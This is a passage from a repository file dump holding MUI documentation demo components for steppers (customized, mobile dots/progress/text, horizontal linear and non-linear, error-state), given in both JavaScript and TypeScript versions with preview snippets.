1,\n  color: '#fff',\n  width: 50,\n  height: 50,\n  display: 'flex',\n  borderRadius: '50%',\n  justifyContent: 'center',\n  alignItems: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: theme.palette.grey[700],\n  }),\n  variants: [\n    {\n      props: ({ ownerState }) => ownerState.active,\n      style: {\n        backgroundImage:\n          'linear-gradient( 136deg, rgb(242,113,33) 0%, rgb(233,64,87) 50%, rgb(138,35,135) 100%)',\n        boxShadow: '0 4px 10px 0 rgba(0,0,0,.25)',\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState.completed,\n      style: {\n        backgroundImage:\n          'linear-gradient( 136deg, rgb(242,113,33) 0%, rgb(233,64,87) 50%, rgb(138,35,135) 100%)',\n      },\n    },\n  ],\n}));\n\nfunction ColorlibStepIcon(props: StepIconProps) {\n  const { active, completed, className } = props;\n\n  const icons: { [index: string]: React.ReactElement<unknown> } = {\n    1: <SettingsIcon />,\n    2: <GroupAddIcon />,\n    3: <VideoLabelIcon />,\n  };\n\n  return (\n    <ColorlibStepIconRoot ownerState={{ completed, active }} className={className}>\n      {icons[String(props.icon)]}\n    </ColorlibStepIconRoot>\n  );\n}\n\nconst steps = ['Select campaign settings', 'Create an ad group', 'Create an ad'];\n\nexport default function CustomizedSteppers() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={4}>\n      <Stepper alternativeLabel activeStep={1} connector={<QontoConnector />}>\n        {steps.map((label) => (\n          <Step key={label}>\n            <StepLabel slots={{ stepIcon: QontoStepIcon }}>{label}</StepLabel>\n          </Step>\n        ))}\n      </Stepper>\n      <Stepper alternativeLabel activeStep={1} connector={<ColorlibConnector />}>\n        {steps.map((label) => (\n          <Step key={label}>\n            <StepLabel slots={{ stepIcon: ColorlibStepIcon }}>{label}</StepLabel>\n          </Step>\n        ))}\n      </Stepper>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/CustomizedSteppers.tsx.preview",
    "content": "<Stepper alternativeLabel activeStep={1} connector={<QontoConnector />}>\n  {steps.map((label) => (\n    <Step key={label}>\n      <StepLabel slots={{ stepIcon: QontoStepIcon }}>{label}</StepLabel>\n    </Step>\n  ))}\n</Stepper>\n<Stepper alternativeLabel activeStep={1} connector={<ColorlibConnector />}>\n  {steps.map((label) => (\n    <Step key={label}>\n      <StepLabel slots={{ stepIcon: ColorlibStepIcon }}>{label}</StepLabel>\n    </Step>\n  ))}\n</Stepper>"
  },
  {
    "path": "docs/data/material/components/steppers/DotsMobileStepper.js",
    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport MobileStepper from '@mui/material/MobileStepper';\nimport Button from '@mui/material/Button';\nimport KeyboardArrowLeft from '@mui/icons-material/KeyboardArrowLeft';\nimport KeyboardArrowRight from '@mui/icons-material/KeyboardArrowRight';\n\nexport default function DotsMobileStepper() {\n  const theme = useTheme();\n  const [activeStep, setActiveStep] = React.useState(0);\n\n  const handleNext = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep + 1);\n  };\n\n  const handleBack = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep - 1);\n  };\n\n  return (\n    <MobileStepper\n      variant=\"dots\"\n      steps={6}\n      position=\"static\"\n      activeStep={activeStep}\n      sx={{ maxWidth: 400, flexGrow: 1 }}\n      nextButton={\n        <Button size=\"small\" onClick={handleNext} disabled={activeStep === 5}>\n          Next\n          {theme.direction === 'rtl' ? (\n            <KeyboardArrowLeft />\n          ) : (\n            <KeyboardArrowRight />\n          )}\n        </Button>\n      }\n      backButton={\n        <Button size=\"small\" onClick={handleBack} disabled={activeStep === 0}>\n          {theme.direction === 'rtl' ? (\n            <KeyboardArrowRight />\n          ) : (\n            <KeyboardArrowLeft />\n          )}\n          Back\n        </Button>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/DotsMobileStepper.tsx",
    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport MobileStepper from '@mui/material/MobileStepper';\nimport Button from '@mui/material/Button';\nimport KeyboardArrowLeft from '@mui/icons-material/KeyboardArrowLeft';\nimport KeyboardArrowRight from '@mui/icons-material/KeyboardArrowRight';\n\nexport default function DotsMobileStepper() {\n  const theme = useTheme();\n  const [activeStep, setActiveStep] = React.useState(0);\n\n  const handleNext = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep + 1);\n  };\n\n  const handleBack = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep - 1);\n  };\n\n  return (\n    <MobileStepper\n      variant=\"dots\"\n      steps={6}\n      position=\"static\"\n      activeStep={activeStep}\n      sx={{ maxWidth: 400, flexGrow: 1 }}\n      nextButton={\n        <Button size=\"small\" onClick={handleNext} disabled={activeStep === 5}>\n          Next\n          {theme.direction === 'rtl' ? (\n            <KeyboardArrowLeft />\n          ) : (\n            <KeyboardArrowRight />\n          )}\n        </Button>\n      }\n      backButton={\n        <Button size=\"small\" onClick={handleBack} disabled={activeStep === 0}>\n          {theme.direction === 'rtl' ? (\n            <KeyboardArrowRight />\n          ) : (\n            <KeyboardArrowLeft />\n          )}\n          Back\n        </Button>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/HorizontalLinearAlternativeLabelStepper.js",
    "content": "import Box from '@mui/material/Box';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\n\nconst steps = [\n  'Select master blaster campaign settings',\n  'Create an ad group',\n  'Create an ad',\n];\n\nexport default function HorizontalLinearAlternativeLabelStepper() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Stepper activeStep={1} alternativeLabel>\n        {steps.map((label) => (\n          <Step key={label}>\n            <StepLabel>{label}</StepLabel>\n          </Step>\n        ))}\n      </Stepper>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/HorizontalLinearAlternativeLabelStepper.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\n\nconst steps = [\n  'Select master blaster campaign settings',\n  'Create an ad group',\n  'Create an ad',\n];\n\nexport default function HorizontalLinearAlternativeLabelStepper() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Stepper activeStep={1} alternativeLabel>\n        {steps.map((label) => (\n          <Step key={label}>\n            <StepLabel>{label}</StepLabel>\n          </Step>\n        ))}\n      </Stepper>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/HorizontalLinearAlternativeLabelStepper.tsx.preview",
    "content": "<Stepper activeStep={1} alternativeLabel>\n  {steps.map((label) => (\n    <Step key={label}>\n      <StepLabel>{label}</StepLabel>\n    </Step>\n  ))}\n</Stepper>"
  },
  {
    "path": "docs/data/material/components/steppers/HorizontalLinearStepper.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst steps = ['Select campaign settings', 'Create an ad group', 'Create an ad'];\n\nexport default function HorizontalLinearStepper() {\n  const [activeStep, setActiveStep] = React.useState(0);\n  const [skipped, setSkipped] = React.useState(new Set());\n\n  const isStepOptional = (step) => {\n    return step === 1;\n  };\n\n  const isStepSkipped = (step) => {\n    return skipped.has(step);\n  };\n\n  const handleNext = () => {\n    let newSkipped = skipped;\n    if (isStepSkipped(activeStep)) {\n      newSkipped = new Set(newSkipped.values());\n      newSkipped.delete(activeStep);\n    }\n\n    setActiveStep((prevActiveStep) => prevActiveStep + 1);\n    setSkipped(newSkipped);\n  };\n\n  const handleBack = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep - 1);\n  };\n\n  const handleSkip = () => {\n    if (!isStepOptional(activeStep)) {\n      // You probably want to guard against something like this,\n      // it should never occur unless someone's actively trying to break something.\n      throw new Error(\"You can't skip a step that isn't optional.\");\n    }\n\n    setActiveStep((prevActiveStep) => prevActiveStep + 1);\n    setSkipped((prevSkipped) => {\n      const newSkipped = new Set(prevSkipped.values());\n      newSkipped.add(activeStep);\n      return newSkipped;\n    });\n  };\n\n  const handleReset = () => {\n    setActiveStep(0);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Stepper activeStep={activeStep}>\n        {steps.map((label, index) => {\n          const stepProps = {};\n          const labelProps = {};\n          if (isStepOptional(index)) {\n            labelProps.optional = (\n              <Typography variant=\"caption\">Optional</Typography>\n            );\n          }\n          if (isStepSkipped(index)) {\n            stepProps.completed = false;\n          }\n          return (\n            <Step key={label} {...stepProps}>\n              <StepLabel {...labelProps}>{label}</StepLabel>\n            </Step>\n          );\n        })}\n      </Stepper>\n      {activeStep === steps.length ? (\n        <React.Fragment>\n          <Typography sx={{ mt: 2, mb: 1 }}>\n            All steps completed - you&apos;re finished\n          </Typography>\n          <Box sx={{ display: 'flex', flexDirection: 'row', pt: 2 }}>\n            <Box sx={{ flex: '1 1 auto' }} />\n            <Button onClick={handleReset}>Reset</Button>\n          </Box>\n        </React.Fragment>\n      ) : (\n        <React.Fragment>\n          <Typography sx={{ mt: 2, mb: 1 }}>Step {activeStep + 1}</Typography>\n          <Box sx={{ display: 'flex', flexDirection: 'row', pt: 2 }}>\n            <Button\n              color=\"inherit\"\n              disabled={activeStep === 0}\n              onClick={handleBack}\n              sx={{ mr: 1 }}\n            >\n              Back\n            </Button>\n            <Box sx={{ flex: '1 1 auto' }} />\n            {isStepOptional(activeStep) && (\n              <Button color=\"inherit\" onClick={handleSkip} sx={{ mr: 1 }}>\n                Skip\n              </Button>\n            )}\n            <Button onClick={handleNext}>\n              {activeStep === steps.length - 1 ? 'Finish' : 'Next'}\n            </Button>\n          </Box>\n        </React.Fragment>\n      )}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/HorizontalLinearStepper.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst steps = ['Select campaign settings', 'Create an ad group', 'Create an ad'];\n\nexport default function HorizontalLinearStepper() {\n  const [activeStep, setActiveStep] = React.useState(0);\n  const [skipped, setSkipped] = React.useState(new Set<number>());\n\n  const isStepOptional = (step: number) => {\n    return step === 1;\n  };\n\n  const isStepSkipped = (step: number) => {\n    return skipped.has(step);\n  };\n\n  const handleNext = () => {\n    let newSkipped = skipped;\n    if (isStepSkipped(activeStep)) {\n      newSkipped = new Set(newSkipped.values());\n      newSkipped.delete(activeStep);\n    }\n\n    setActiveStep((prevActiveStep) => prevActiveStep + 1);\n    setSkipped(newSkipped);\n  };\n\n  const handleBack = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep - 1);\n  };\n\n  const handleSkip = () => {\n    if (!isStepOptional(activeStep)) {\n      // You probably want to guard against something like this,\n      // it should never occur unless someone's actively trying to break something.\n      throw new Error(\"You can't skip a step that isn't optional.\");\n    }\n\n    setActiveStep((prevActiveStep) => prevActiveStep + 1);\n    setSkipped((prevSkipped) => {\n      const newSkipped = new Set(prevSkipped.values());\n      newSkipped.add(activeStep);\n      return newSkipped;\n    });\n  };\n\n  const handleReset = () => {\n    setActiveStep(0);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Stepper activeStep={activeStep}>\n        {steps.map((label, index) => {\n          const stepProps: { completed?: boolean } = {};\n          const labelProps: {\n            optional?: React.ReactNode;\n          } = {};\n          if (isStepOptional(index)) {\n            labelProps.optional = (\n              <Typography variant=\"caption\">Optional</Typography>\n            );\n          }\n          if (isStepSkipped(index)) {\n            stepProps.completed = false;\n          }\n          return (\n            <Step key={label} {...stepProps}>\n              <StepLabel {...labelProps}>{label}</StepLabel>\n            </Step>\n          );\n        })}\n      </Stepper>\n      {activeStep === steps.length ? (\n        <React.Fragment>\n          <Typography sx={{ mt: 2, mb: 1 }}>\n            All steps completed - you&apos;re finished\n          </Typography>\n          <Box sx={{ display: 'flex', flexDirection: 'row', pt: 2 }}>\n            <Box sx={{ flex: '1 1 auto' }} />\n            <Button onClick={handleReset}>Reset</Button>\n          </Box>\n        </React.Fragment>\n      ) : (\n        <React.Fragment>\n          <Typography sx={{ mt: 2, mb: 1 }}>Step {activeStep + 1}</Typography>\n          <Box sx={{ display: 'flex', flexDirection: 'row', pt: 2 }}>\n            <Button\n              color=\"inherit\"\n              disabled={activeStep === 0}\n              onClick={handleBack}\n              sx={{ mr: 1 }}\n            >\n              Back\n            </Button>\n            <Box sx={{ flex: '1 1 auto' }} />\n            {isStepOptional(activeStep) && (\n              <Button color=\"inherit\" onClick={handleSkip} sx={{ mr: 1 }}>\n                Skip\n              </Button>\n            )}\n            <Button onClick={handleNext}>\n              {activeStep === steps.length - 1 ? 'Finish' : 'Next'}\n            </Button>\n          </Box>\n        </React.Fragment>\n      )}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/HorizontalNonLinearStepper.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepButton from '@mui/material/StepButton';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst steps = ['Select campaign settings', 'Create an ad group', 'Create an ad'];\n\nexport default function HorizontalNonLinearStepper() {\n  const [activeStep, setActiveStep] = React.useState(0);\n  const [completed, setCompleted] = React.useState({});\n\n  const totalSteps = () => {\n    return steps.length;\n  };\n\n  const completedSteps = () => {\n    return Object.keys(completed).length;\n  };\n\n  const isLastStep = () => {\n    return activeStep === totalSteps() - 1;\n  };\n\n  const allStepsCompleted = () => {\n    return completedSteps() === totalSteps();\n  };\n\n  const handleNext = () => {\n    const newActiveStep =\n      isLastStep() && !allStepsCompleted()\n        ? // It's the last step, but not all steps have been completed,\n          // find the first step that has been completed\n          steps.findIndex((step, i) => !(i in completed))\n        : activeStep + 1;\n    setActiveStep(newActiveStep);\n  };\n\n  const handleBack = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep - 1);\n  };\n\n  const handleStep = (step) => () => {\n    setActiveStep(step);\n  };\n\n  const handleComplete = () => {\n    setCompleted({\n      ...completed,\n      [activeStep]: true,\n    });\n    handleNext();\n  };\n\n  const handleReset = () => {\n    setActiveStep(0);\n    setCompleted({});\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Stepper nonLinear activeStep={activeStep}>\n        {steps.map((label, index) => (\n          <Step key={label} completed={completed[index]}>\n            <StepButton\n              aria-controls=\"stepper-content\"\n              color=\"inherit\"\n              onClick={handleStep(index)}\n            >\n              {label}\n            </StepButton>\n          </Step>\n        ))}\n      </Stepper>\n      <div id=\"stepper-content\">\n        {allStepsCompleted() ? (\n          <React.Fragment>\n            <Typography sx={{ mt: 2, mb: 1 }}>\n              All steps completed - you&apos;re finished\n            </Typography>\n            <Box sx={{ display: 'flex', flexDirection: 'row', pt: 2 }}>\n              <Box sx={{ flex: '1 1 auto' }} />\n              <Button onClick={handleReset}>Reset</Button>\n            </Box>\n          </React.Fragment>\n        ) : (\n          <React.Fragment>\n            <Typography sx={{ mt: 2, mb: 1, py: 1 }}>\n              Step {activeStep + 1}\n            </Typography>\n            <Box sx={{ display: 'flex', flexDirection: 'row', pt: 2 }}>\n              <Button\n                color=\"inherit\"\n                disabled={activeStep === 0}\n                onClick={handleBack}\n                sx={{ mr: 1 }}\n              >\n                Back\n              </Button>\n              <Box sx={{ flex: '1 1 auto' }} />\n              <Button onClick={handleNext} sx={{ mr: 1 }}>\n                Next\n              </Button>\n              {activeStep !== steps.length &&\n                (completed[activeStep] ? (\n                  <Typography variant=\"caption\" sx={{ display: 'inline-block' }}>\n                    Step {activeStep + 1} already completed\n                  </Typography>\n                ) : (\n                  <Button onClick={handleComplete}>\n                    {completedSteps() === totalSteps() - 1\n                      ? 'Finish'\n                      : 'Complete Step'}\n                  </Button>\n                ))}\n            </Box>\n          </React.Fragment>\n        )}\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/HorizontalNonLinearStepper.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepButton from '@mui/material/StepButton';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst steps = ['Select campaign settings', 'Create an ad group', 'Create an ad'];\n\nexport default function HorizontalNonLinearStepper() {\n  const [activeStep, setActiveStep] = React.useState(0);\n  const [completed, setCompleted] = React.useState<{\n    [k: number]: boolean;\n  }>({});\n\n  const totalSteps = () => {\n    return steps.length;\n  };\n\n  const completedSteps = () => {\n    return Object.keys(completed).length;\n  };\n\n  const isLastStep = () => {\n    return activeStep === totalSteps() - 1;\n  };\n\n  const allStepsCompleted = () => {\n    return completedSteps() === totalSteps();\n  };\n\n  const handleNext = () => {\n    const newActiveStep =\n      isLastStep() && !allStepsCompleted()\n        ? // It's the last step, but not all steps have been completed,\n          // find the first step that has been completed\n          steps.findIndex((step, i) => !(i in completed))\n        : activeStep + 1;\n    setActiveStep(newActiveStep);\n  };\n\n  const handleBack = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep - 1);\n  };\n\n  const handleStep = (step: number) => () => {\n    setActiveStep(step);\n  };\n\n  const handleComplete = () => {\n    setCompleted({\n      ...completed,\n      [activeStep]: true,\n    });\n    handleNext();\n  };\n\n  const handleReset = () => {\n    setActiveStep(0);\n    setCompleted({});\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Stepper nonLinear activeStep={activeStep}>\n        {steps.map((label, index) => (\n          <Step key={label} completed={completed[index]}>\n            <StepButton\n              aria-controls=\"stepper-content\"\n              color=\"inherit\"\n              onClick={handleStep(index)}\n            >\n              {label}\n            </StepButton>\n          </Step>\n        ))}\n      </Stepper>\n      <div id=\"stepper-content\">\n        {allStepsCompleted() ? (\n          <React.Fragment>\n            <Typography sx={{ mt: 2, mb: 1 }}>\n              All steps completed - you&apos;re finished\n            </Typography>\n            <Box sx={{ display: 'flex', flexDirection: 'row', pt: 2 }}>\n              <Box sx={{ flex: '1 1 auto' }} />\n              <Button onClick={handleReset}>Reset</Button>\n            </Box>\n          </React.Fragment>\n        ) : (\n          <React.Fragment>\n            <Typography sx={{ mt: 2, mb: 1, py: 1 }}>\n              Step {activeStep + 1}\n            </Typography>\n            <Box sx={{ display: 'flex', flexDirection: 'row', pt: 2 }}>\n              <Button\n                color=\"inherit\"\n                disabled={activeStep === 0}\n                onClick={handleBack}\n                sx={{ mr: 1 }}\n              >\n                Back\n              </Button>\n              <Box sx={{ flex: '1 1 auto' }} />\n              <Button onClick={handleNext} sx={{ mr: 1 }}>\n                Next\n              </Button>\n              {activeStep !== steps.length &&\n                (completed[activeStep] ? (\n                  <Typography variant=\"caption\" sx={{ display: 'inline-block' }}>\n                    Step {activeStep + 1} already completed\n                  </Typography>\n                ) : (\n                  <Button onClick={handleComplete}>\n                    {completedSteps() === totalSteps() - 1\n                      ? 'Finish'\n                      : 'Complete Step'}\n                  </Button>\n                ))}\n            </Box>\n          </React.Fragment>\n        )}\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/HorizontalStepperWithError.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\nimport Typography from '@mui/material/Typography';\n\nconst steps = ['Select campaign settings', 'Create an ad group', 'Create an ad'];\n\nexport default function HorizontalStepperWithError() {\n  const isStepFailed = (step) => {\n    return step === 1;\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Stepper activeStep={1}>\n        {steps.map((label, index) => {\n          const labelProps = {};\n          if (isStepFailed(index)) {\n            labelProps.optional = (\n              <Typography variant=\"caption\" color=\"error\">\n                Alert message\n              </Typography>\n            );\n\n            labelProps.error = true;\n          }\n\n          return (\n            <Step key={label}>\n              <StepLabel {...labelProps}>{label}</StepLabel>\n            </Step>\n          );\n        })}\n      </Stepper>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/HorizontalStepperWithError.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\nimport Typography from '@mui/material/Typography';\n\nconst steps = ['Select campaign settings', 'Create an ad group', 'Create an ad'];\n\nexport default function HorizontalStepperWithError() {\n  const isStepFailed = (step: number) => {\n    return step === 1;\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Stepper activeStep={1}>\n        {steps.map((label, index) => {\n          const labelProps: {\n            optional?: React.ReactNode;\n            error?: boolean;\n          } = {};\n          if (isStepFailed(index)) {\n            labelProps.optional = (\n              <Typography variant=\"caption\" color=\"error\">\n                Alert message\n              </Typography>\n            );\n            labelProps.error = true;\n          }\n\n          return (\n            <Step key={label}>\n              <StepLabel {...labelProps}>{label}</StepLabel>\n            </Step>\n          );\n        })}\n      </Stepper>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/ProgressMobileStepper.js",
    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport MobileStepper from '@mui/material/MobileStepper';\nimport Button from '@mui/material/Button';\nimport KeyboardArrowLeft from '@mui/icons-material/KeyboardArrowLeft';\nimport KeyboardArrowRight from '@mui/icons-material/KeyboardArrowRight';\n\nexport default function ProgressMobileStepper() {\n  const theme = useTheme();\n  const [activeStep, setActiveStep] = React.useState(0);\n\n  const handleNext = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep + 1);\n  };\n\n  const handleBack = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep - 1);\n  };\n\n  return (\n    <MobileStepper\n      variant=\"progress\"\n      steps={6}\n      position=\"static\"\n      activeStep={activeStep}\n      sx={{ maxWidth: 400, flexGrow: 1 }}\n      nextButton={\n        <Button size=\"small\" onClick={handleNext} disabled={activeStep === 5}>\n          Next\n          {theme.direction === 'rtl' ? (\n            <KeyboardArrowLeft />\n          ) : (\n            <KeyboardArrowRight />\n          )}\n        </Button>\n      }\n      backButton={\n        <Button size=\"small\" onClick={handleBack} disabled={activeStep === 0}>\n          {theme.direction === 'rtl' ? (\n            <KeyboardArrowRight />\n          ) : (\n            <KeyboardArrowLeft />\n          )}\n          Back\n        </Button>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/ProgressMobileStepper.tsx",
    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport MobileStepper from '@mui/material/MobileStepper';\nimport Button from '@mui/material/Button';\nimport KeyboardArrowLeft from '@mui/icons-material/KeyboardArrowLeft';\nimport KeyboardArrowRight from '@mui/icons-material/KeyboardArrowRight';\n\nexport default function ProgressMobileStepper() {\n  const theme = useTheme();\n  const [activeStep, setActiveStep] = React.useState(0);\n\n  const handleNext = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep + 1);\n  };\n\n  const handleBack = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep - 1);\n  };\n\n  return (\n    <MobileStepper\n      variant=\"progress\"\n      steps={6}\n      position=\"static\"\n      activeStep={activeStep}\n      sx={{ maxWidth: 400, flexGrow: 1 }}\n      nextButton={\n        <Button size=\"small\" onClick={handleNext} disabled={activeStep === 5}>\n          Next\n          {theme.direction === 'rtl' ? (\n            <KeyboardArrowLeft />\n          ) : (\n            <KeyboardArrowRight />\n          )}\n        </Button>\n      }\n      backButton={\n        <Button size=\"small\" onClick={handleBack} disabled={activeStep === 0}>\n          {theme.direction === 'rtl' ? (\n            <KeyboardArrowRight />\n          ) : (\n            <KeyboardArrowLeft />\n          )}\n          Back\n        </Button>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/TextMobileStepper.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { useTheme } from '@mui/material/styles';\nimport MobileStepper from '@mui/material/MobileStepper';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport KeyboardArrowLeft from '@mui/icons-material/KeyboardArrowLeft';\nimport KeyboardArrowRight from '@mui/icons-material/KeyboardArrowRight';\n\nconst steps = [\n  {\n    label: 'Select campaign settings',\n    description: `For each ad campaign that you create, you can control how much\n              you're willing to spend on clicks and conversions, which networks\n              and geographical locations you want your ads to show on, and more.`,\n  },\n  {\n    label: 'Create an ad group',\n    description:\n      'An ad group contains one or more ads which target a shared set of keywords.',\n  },\n  {\n    label: 'Create an ad',\n    description: `Try out different ad text to see what brings in the most customers,\n              and learn how to enhance your ads using features like ad extensions.\n              If you run into any problems with your ads, find out how to tell if\n              they're running and how to resolve approval issues.`,\n  },\n];\n\nexport default function TextMobileStepper() {\n  const theme = useTheme();\n  const [activeStep, setActiveStep] = React.useState(0);\n  const maxSteps = steps.length;\n\n  const handleNext = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep + 1);\n  };\n\n  const handleBack = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep - 1);\n  };\n\n  return (\n    <Box sx={{ maxWidth: 400, flexGrow: 1 }}>\n      <Paper\n        square\n        elevation={0}\n        sx={{\n          display: 'flex',\n          alignItems: 'center',\n          height: 50,\n          pl: 2,\n          bgcolor: 'background.default',\n        }}\n      >\n        <Typography>{steps[activeStep].label}</Typography>\n      </Paper>\n      <Box sx={{ height: 255, maxWidth: 400, width: '100%', p: 2 }}>\n        {steps[activeStep].description}\n      </Box>\n      <MobileStepper\n        variant=\"text\"\n        steps={maxSteps}\n        position=\"static\"\n        activeStep={activeStep}\n        nextButton={\n          <Button\n            size=\"small\"\n            onClick={handleNext}\n            disabled={activeStep === maxSteps - 1}\n          >\n            Next\n            {theme.direction === 'rtl' ? (\n              <KeyboardArrowLeft />\n            ) : (\n              <KeyboardArrowRight />\n            )}\n          </Button>\n        }\n        backButton={\n          <Button size=\"small\" onClick={handleBack} disabled={activeStep === 0}>\n            {theme.direction === 'rtl' ? (\n              <KeyboardArrowRight />\n            ) : (\n              <KeyboardArrowLeft />\n            )}\n            Back\n          </Button>\n        }\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/TextMobileStepper.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { useTheme } from '@mui/material/styles';\nimport MobileStepper from '@mui/material/MobileStepper';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport KeyboardArrowLeft from '@mui/icons-material/KeyboardArrowLeft';\nimport KeyboardArrowRight from '@mui/icons-material/KeyboardArrowRight';\n\nconst steps = [\n  {\n    label: 'Select campaign settings',\n    description: `For each ad campaign that you create, you can control how much\n              you're willing to spend on clicks and conversions, which networks\n              and geographical locations you want your ads to show on, and more.`,\n  },\n  {\n    label: 'Create an ad group',\n    description:\n      'An ad group contains one or more ads which target a shared set of keywords.',\n  },\n  {\n    label: 'Create an ad',\n    description: `Try out different ad text to see what brings in the most customers,\n              and learn how to enhance your ads using features like ad extensions.\n              If you run into any problems with your ads, find out how to tell if\n              they're running and how to resolve approval issues.`,\n  },\n];\n\nexport default function TextMobileStepper() {\n  const theme = useTheme();\n  const [activeStep, setActiveStep] = React.useState(0);\n  const maxSteps = steps.length;\n\n  const handleNext = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep + 1);\n  };\n\n  const handleBack = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep - 1);\n  };\n\n  return (\n    <Box sx={{ maxWidth: 400, flexGrow: 1 }}>\n      <Paper\n        square\n        elevation={0}\n        sx={{\n          display: 'flex',\n          alignItems: 'center',\n          height: 50,\n          pl: 2,\n          bgcolor: 'background.default',\n        }}\n      >\n        <Typography>{steps[activeStep].label}</Typography>\n      </Paper>\n      <Box sx={{ height: 255, maxWidth: 400, width: '100%', p: 2 }}>\n        {steps[activeStep].description}\n      </Box>\n      <MobileStepper\n        variant=\"text\"\n        steps={maxSteps}\n        position=\"static\"\n        activeStep={activeStep}\n        nextButton={\n          <Button\n            size=\"small\"\n            onClick={handleNext}\n            disabled={activeStep === maxSteps - 1}\n          >\n            Next\n            {theme.direction === 'rtl' ? (\n              <KeyboardArrowLeft />\n            ) : (\n              <KeyboardArrowRight />\n            )}\n          </Button>\n        }\n        backButton={\n          <Button size=\"small\" onClick={handleBack} disabled={activeStep === 0}>\n            {theme.direction === 'rtl' ? (\n              <KeyboardArrowRight />\n            ) : (\n              <KeyboardArrowLeft />\n            )}\n            Back\n          </Button>\n        }\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/VerticalLinearStepper.js",
